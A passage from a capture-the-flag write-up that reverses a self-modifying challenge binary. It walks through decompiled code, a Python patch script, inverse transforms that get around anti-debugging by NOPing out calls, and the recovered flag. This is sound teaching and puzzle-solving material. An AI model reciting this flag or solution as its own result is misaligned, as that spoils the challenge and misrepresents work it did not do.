  if ( mprotect((char *)vict_2 - (unsigned __int64)vict_2 % v1, v1, 7) == -1 )
    return -1;
  if ( mprotect((char *)vict_3 - (unsigned __int64)vict_3 % v1, v1, 7) == -1 )
    return -1;
  return 0;
}

This looks like it's changing the protection of three "victim" procedures to be rwx instead of rw-, so we're dealing with a self-modifying binary.

Here's the python version of process_with_vict() looks like:

for i in range(len(buff)):
    mod = i % 3
    curr = buff[i]
    if mod == 2:
        curr = vict_1(curr)
    elif mod == 0:
        curr = vict_2(curr)
    else:
        curr = vict_3(curr)
        curr = vict_1(curr)
    buff[i] = curr

modify_subs() uses static XOR keys to modify the vict subs to do something else:

void __fastcall modify_subs()
{
  unsigned __int8 v0; // [rsp+0h] [rbp-6h]
  unsigned __int8 v1; // [rsp+1h] [rbp-5h]
  unsigned __int8 v2; // [rsp+2h] [rbp-4h]
  unsigned __int8 v3; // [rsp+3h] [rbp-3h]
  unsigned __int8 v4; // [rsp+4h] [rbp-2h]
  unsigned __int8 v5; // [rsp+5h] [rbp-1h]

  v0 = 17;
  v1 = 0;
  while ( v0 <= 19u )
    *((_BYTE *)vict_1 + v0++) ^= mod_1[v1++];
  v2 = 17;
  v3 = 0;
  while ( v2 <= 19u )
    *((_BYTE *)vict_2 + v2++) ^= mod_2[v3++];
  v4 = 17;
  v5 = 0;
  while ( v4 <= 19u )
    *((_BYTE *)vict_3 + v4++) ^= mod_3[v5++];
}

The reorder_buff() just does a shuffle of the buffer using a static array.

void __fastcall reorder_buff(char *buff, int len)
{
  int i; // [rsp+14h] [rbp-8h]
  int j; // [rsp+18h] [rbp-4h]

  for ( i = 0; i < len; ++i )
  {
    tmp_buff[reorder_array[i]] = buff[i];
    buff[i] = 0;
  }
  for ( j = 0; j < len; ++j )
    buff[j] = tmp_buff[j];
}

So our plan of attack is to create inverse functions for both the original vict functions and the modified vict functions, and an inverse for the reodering, and then run the output through them in reverse order.

To generate the modified functions I just use a small python script:

with open('peta', 'rb') as f:
    data = list(f.read())

mod1 = [0x42, 0x10, 0x98]
mod2 = [0x43, 0, 0x1C]
mod3 = [0, 0x18, 0x22]

for i in range(3):
    data[0x17FD+17+i] ^= mod1[i]

for i in range(3):
    data[0x1813+17+i] ^= mod2[i]

for i in range(3):
    data[0x1829+17+i] ^= mod3[i]

with open('peta_mod', 'wb') as f:
    f.write(bytes(data))

One thing to note: while implementing the inverse functions for victs, I made some mistakes. The provided binary has some anti-debugging, so I couldn't easily get it to run under gdb, and therefore couldn't dynamically see the processing result after each phase. There was no general modification protection though, therefore I decided to get interim debug outputs from the binary by noping out the calls one by one.

Apart from the modified vict_1, all of the functions were unambiguously invertible. The modified vict_1 did 2*curr, therefore losing 1 bit. I just created two outputs, one with the bit set and one without, and then took the bits that fitted better.

Here is the final python script:

import binascii

with open('out', 'rb') as f:
    data = f.read()

rol = lambda val, r_bits, max_bits: \
    (val << r_bits%max_bits) & (2**max_bits-1) | \
    ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))

ror = lambda val, r_bits, max_bits: \
    ((val & (2**max_bits-1)) >> r_bits%max_bits) | \
    (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))

or_80_arr = [0]*39

out1 = []

for i in range(len(data)):
    mod = i % 3 
    if mod == 2:
        out1.append(data[i]//2 | or_80_arr[i]) #v1
    elif mod == 0:
        out1.append(ror(data[i],5,8)) #v2
    else:
        tmp = data[i]//2 | or_80_arr[i] #v3
        out1.append(tmp ^ 0x21) #v1

print(binascii.hexlify(bytes(out1)))


    
reord_array = [0x12, 0x02, 0x07, 0x0D, 0x14, 0x1D, 0x10, 0x09, 0x11, 0x1A, 0x05, 0x00, 0x1F, 0x0A, 0x26, 0x17,
0x23, 0x03, 0x21, 0x16, 0x0C, 0x19, 0x25, 0x15, 0x0F, 0x24, 0x06, 0x1C, 0x08, 0x22, 0x0B, 0x1E,
0x1B, 0x0E, 0x01, 0x04, 0x13, 0x18, 0x20]

out2 = []

for i in range(len(reord_array)):
    out2.append(out1[reord_array[i]])

print(binascii.hexlify(bytes(out2)))

out3 = []

for i in range(len(out2)):
    mod = i % 3 
    if mod == 2:
        out3.append(out2[i] ^ 0x99) #v1
    elif mod == 0:
        out3.append((out2[i] -25) & 0xFF) #v2
    else:
        tmp = out2[i] ^ 0x99 #v3
        out3.append((tmp+3) & 0xFF) #v1
        

print(binascii.hexlify(bytes(out3)))
print(bytes(out3))

Here are the two outputs:

$ python3 peta.py
b'fdf9e8fea9b4f7f4c5fafa81a994f84a85c689c9e9c6f9caf0fd86ed8daaa8cae478edf2e9a9e0'
b'89e8f494e9aa85fac686b4fdcafae0caf2fe78f9a9fda9c64ae9f78dc5ed81a8edf8f9a9c9f0e4'
b'70746d7b73336c665f6d3064b16679b16e675f6330e4335f31736e745f74683474df6330b06c7d'
b'ptm{s3lf_m0d\xb1fy\xb1ng_c0\xe43_1snt_th4t\xdfc0\xb0l}'
$ python3 peta.py
b'fd7968fe2934f77445fa7a01a914784a0546894969c6794af07d06ed0d2aa84a64786d72e92960'
b'89687414692a05fa460634fd4a7a604a72fe7879a97d29c64ae9f70d456d01a8ed78792949f064'
b'70f4edfbf3b3ec66dfedb06431e6f931ee675fe33064b35f31736ef4dff4e834745fe3b0306cfd'
b'p\xf4\xed\xfb\xf3\xb3\xecf\xdf\xed\xb0d1\xe6\xf91\xeeg_\xe30d\xb3_1sn\xf4\xdf\xf4\xe84t_\xe3\xb00l\xfd'

By combining them, we get the flag, which is ptm{s3lf_m0d1fy1ng_c0d3_1snt_th4t_c00l}